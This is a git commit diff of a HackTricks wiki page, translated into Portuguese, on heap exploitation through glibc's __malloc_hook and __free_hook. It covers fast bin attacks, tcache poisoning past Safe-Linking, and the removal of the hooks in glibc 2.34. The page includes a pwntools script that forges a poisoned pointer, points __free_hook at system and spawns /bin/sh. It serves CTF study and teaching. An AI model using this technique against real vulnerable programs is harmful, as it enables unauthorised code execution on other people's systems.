mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__ma
This commit is contained in:
parent
052b750649
commit
f784b8993e
@ -1,4 +1,4 @@
|
|||||||
# WWW2Exec - \_\_malloc_hook & \_\_free_hook
|
# WWW2Exec - __malloc_hook & __free_hook
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
@ -6,7 +6,7 @@
|
|||||||
|
|
||||||
Como você pode ver no [site oficial do GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), a variável **`__malloc_hook`** é um ponteiro que aponta para o **endereço de uma função que será chamada** sempre que `malloc()` for chamado **armazenado na seção de dados da biblioteca libc**. Portanto, se esse endereço for sobrescrito com um **One Gadget**, por exemplo, e `malloc` for chamado, o **One Gadget será chamado**.
|
Como você pode ver no [site oficial do GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), a variável **`__malloc_hook`** é um ponteiro que aponta para o **endereço de uma função que será chamada** sempre que `malloc()` for chamado **armazenado na seção de dados da biblioteca libc**. Portanto, se esse endereço for sobrescrito com um **One Gadget**, por exemplo, e `malloc` for chamado, o **One Gadget será chamado**.
|
||||||
|
|
||||||
Para chamar malloc, é possível esperar que o programa o chame ou **chamando `printf("%10000$c")`**, que aloca muitos bytes, fazendo com que `libc` chame malloc para alocá-los no heap.
|
Para chamar malloc, é possível esperar que o programa o chame ou **chamando `printf("%10000$c")**, que aloca muitos bytes, fazendo com que `libc` chame malloc para alocá-los na heap.
|
||||||
|
|
||||||
Mais informações sobre One Gadget em:
|
Mais informações sobre One Gadget em:
|
||||||
|
|
||||||
@ -45,7 +45,7 @@ gef➤ p &__free_hook
|
|||||||
|
|
||||||
No ponto de interrupção mencionado no código anterior, o endereço do free hook estará localizado em `$eax`.
|
No ponto de interrupção mencionado no código anterior, o endereço do free hook estará localizado em `$eax`.
|
||||||
|
|
||||||
Agora um **ataque de fast bin** é realizado:
|
Agora, um **ataque de fast bin** é realizado:
|
||||||
|
|
||||||
- Primeiro de tudo, é descoberto que é possível trabalhar com **chunks de tamanho 200** na localização de **`__free_hook`**:
|
- Primeiro de tudo, é descoberto que é possível trabalhar com **chunks de tamanho 200** na localização de **`__free_hook`**:
|
||||||
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||||||
@ -59,12 +59,77 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
|||||||
- Se conseguirmos obter um chunk rápido de tamanho 0x200 nesta localização, será possível sobrescrever um ponteiro de função que será executado.
|
- Se conseguirmos obter um chunk rápido de tamanho 0x200 nesta localização, será possível sobrescrever um ponteiro de função que será executado.
|
||||||
- Para isso, um novo chunk de tamanho `0xfc` é criado e a função mesclada é chamada com esse ponteiro duas vezes, assim obtemos um ponteiro para um chunk liberado de tamanho `0xfc*2 = 0x1f8` no fast bin.
|
- Para isso, um novo chunk de tamanho `0xfc` é criado e a função mesclada é chamada com esse ponteiro duas vezes, assim obtemos um ponteiro para um chunk liberado de tamanho `0xfc*2 = 0x1f8` no fast bin.
|
||||||
- Em seguida, a função de edição é chamada neste chunk para modificar o endereço **`fd`** deste fast bin para apontar para a função **`__free_hook`** anterior.
|
- Em seguida, a função de edição é chamada neste chunk para modificar o endereço **`fd`** deste fast bin para apontar para a função **`__free_hook`** anterior.
|
||||||
- Depois, um chunk com tamanho `0x1f8` é criado para recuperar do fast bin o chunk anterior inútil, então outro chunk de tamanho `0x1f8` é criado para obter um chunk do fast bin na **`__free_hook`** que é sobrescrito com o endereço da função **`system`**.
|
- Depois, um chunk com tamanho `0x1f8` é criado para recuperar do fast bin o chunk inútil anterior, então outro chunk de tamanho `0x1f8` é criado para obter um chunk do fast bin no **`__free_hook`** que é sobrescrito com o endereço da função **`system`**.
|
||||||
- E finalmente, um chunk contendo a string `/bin/sh\x00` é liberado chamando a função de delete, acionando a função **`__free_hook`** que aponta para system com `/bin/sh\x00` como parâmetro.
|
- E finalmente, um chunk contendo a string `/bin/sh\x00` é liberado chamando a função de delete, acionando a função **`__free_hook`** que aponta para system com `/bin/sh\x00` como parâmetro.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Envenenamento de Tcache & Safe-Linking (glibc 2.32 – 2.33)
|
||||||
|
|
||||||
|
glibc 2.32 introduziu **Safe-Linking** – uma verificação de integridade que protege as listas *simples* ligadas usadas por **tcache** e fast-bins. Em vez de armazenar um ponteiro direto (`fd`), ptmalloc agora o armazena *ofuscado* com o seguinte macro:
|
||||||
|
```c
|
||||||
|
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
|
||||||
|
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
|
||||||
|
```
|
||||||
|
Consequências da exploração:
|
||||||
|
|
||||||
|
1. Um **heap leak** é obrigatório – o atacante deve conhecer o valor em tempo de execução de `chunk_addr >> 12` para criar um ponteiro ofuscado válido.
|
||||||
|
2. Apenas o ponteiro de 8 bytes *completo* pode ser forjado; sobrescritas parciais de um byte não passarão na verificação.
|
||||||
|
|
||||||
|
Um primitivo mínimo de envenenamento de tcache que sobrescreve `__free_hook` no glibc 2.32/2.33, portanto, se parece com:
|
||||||
|
```py
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
|
||||||
|
p = process("./vuln")
|
||||||
|
|
||||||
|
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
|
||||||
|
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
|
||||||
|
heap_base = heap_leak & ~0xfff
|
||||||
|
fd_key = heap_base >> 12 # value used by PROTECT_PTR
|
||||||
|
log.success(f"heap @ {hex(heap_base)}")
|
||||||
|
|
||||||
|
# 2. Prepare two same-size chunks and double-free one of them
|
||||||
|
a = malloc(0x48)
|
||||||
|
b = malloc(0x48)
|
||||||
|
free(a)
|
||||||
|
free(b)
|
||||||
|
free(a) # tcache double-free ⇒ poisoning primitive
|
||||||
|
|
||||||
|
# 3. Forge obfuscated fd that points to __free_hook
|
||||||
|
free_hook = libc.sym['__free_hook']
|
||||||
|
poison = free_hook ^ fd_key
|
||||||
|
edit(a, p64(poison)) # overwrite fd of tcache entry
|
||||||
|
|
||||||
|
# 4. Two mallocs: the second one returns a pointer to __free_hook
|
||||||
|
malloc(0x48) # returns chunk a
|
||||||
|
c = malloc(0x48) # returns chunk @ __free_hook
|
||||||
|
edit(c, p64(libc.sym['system']))
|
||||||
|
|
||||||
|
# 5. Trigger
|
||||||
|
bin_sh = malloc(0x48)
|
||||||
|
edit(bin_sh, b"/bin/sh\x00")
|
||||||
|
free(bin_sh)
|
||||||
|
```
|
||||||
|
O trecho acima foi adaptado de desafios recentes de CTF, como *UIUCTF 2024 – «Rusty Pointers»* e *openECSC 2023 – «Babyheap G»*, ambos os quais dependiam de bypasses de Safe-Linking para sobrescrever `__free_hook`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## O que mudou no glibc ≥ 2.34?
|
||||||
|
|
||||||
|
A partir do **glibc 2.34 (agosto de 2021)**, os hooks de alocação `__malloc_hook`, `__realloc_hook`, `__memalign_hook` e `__free_hook` foram **removidos da API pública e não são mais invocados pelo alocador**. Símbolos de compatibilidade ainda são exportados para binários legados, mas sobrescrevê-los não influencia mais o fluxo de controle de `malloc()` ou `free()`.
|
||||||
|
|
||||||
|
Implicação prática: em distribuições modernas (Ubuntu 22.04+, Fedora 35+, Debian 12, etc.), você deve mudar para *outros* primitivos de sequestro (IO-FILE, `__run_exit_handlers`, vtable spraying, etc.) porque sobrescritas de hooks falharão silenciosamente.
|
||||||
|
|
||||||
|
Se você ainda precisa do comportamento antigo para depuração, o glibc fornece `libc_malloc_debug.so`, que pode ser pré-carregado para reabilitar os hooks legados – mas a biblioteca **não é destinada à produção e pode desaparecer em lançamentos futuros**.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
||||||
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
||||||
|
- Safe-Linking – Eliminando um primitivo de exploração malloc() de 20 anos (Check Point Research, 2020)
|
||||||
|
- Notas de lançamento do glibc 2.34 – remoção dos hooks de malloc
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user